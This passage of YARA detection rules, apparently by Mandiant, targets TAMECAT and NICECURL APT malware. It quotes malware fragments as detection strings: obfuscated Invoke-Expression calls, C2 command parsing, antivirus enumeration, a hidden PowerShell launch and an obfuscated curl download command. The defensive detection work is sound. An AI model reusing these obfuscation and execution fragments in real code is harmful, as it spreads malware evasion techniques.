author = "Mandiant"
md5 = "9c5337e0b1aef2657948fd5e82bdb4c3"
date_created = "2024-03-05"
date_modified = "2024-03-05"
rev = "1"
strings:
$ = "$a.CreateDecryptor($a.Key,$a.iv)"
$ = "$CommandParts = \"\""
$ = "$macP = $env:APPDATA+\"\\"
$ = "$macP = \"$env:LOCALAPPDATA\\"
$ = "$mac += Get-Content -Path $macP"
$ = "$CommandParts =$SessionResponse.Split(\""
$ = "[string]$CommandPart = \"\";"
$ = "Foreach ($CommandPart in $CommandParts)"
$ = "$CommandPart.Split(\"~\");"
$ = "elseif($StartStop -eq \"stop\")"
$ = "if($StartStop -eq \"start\")"
$ = "&(gcm *ke-e*) $Command;"
condition:
3 of them and filesize<2MB
}
rule M_APT_Downloader_TAMECAT_NICECURL_VBScript_1 {
meta:
author = "Mandiant"
md5 = "d7bf138d1aa2b70d6204a2f3c3bc72a7"
date_created = "2024-03-13"
date_modified = "2024-03-13"
rev = "1"
strings:
$ = "For Each antivirus in installedAntiviruses"
$ = "list=list & VBNewLine & antivirus.displayName"
$ = "\"conhost conhost powershell.exe -w 1 -c \""
$ = "-UseBasicParsing).Content; &(gcm *e-e?p*)$"
$ = "Set oE = objShell.Exec("
$ = "\"cmd.exe /c set c=cu9rl --s9sl-no-rev9oke -s -d \""
$ = "& call %c:9=% & set b=sta9rt"
condition:
3 of them
}
rule M_APT_Backdoor_TAMECAT {
meta:
author = "Mandiant"
md5 = "d7bf138d1aa2b70d6204a2f3c3bc72a7"
date_created = "2024-03-11"
date_modified = "2024-03-11"
rev = "1"
strings:
$s1 = "OutputCom = OutputCom & \"NOT_FOUND\"" ascii wide
$s2 = "OutputCom = OutputCom & list" ascii wide
$s3 = "If antivirus.productState And &h01000 Then" ascii wide
condition:
all of them
}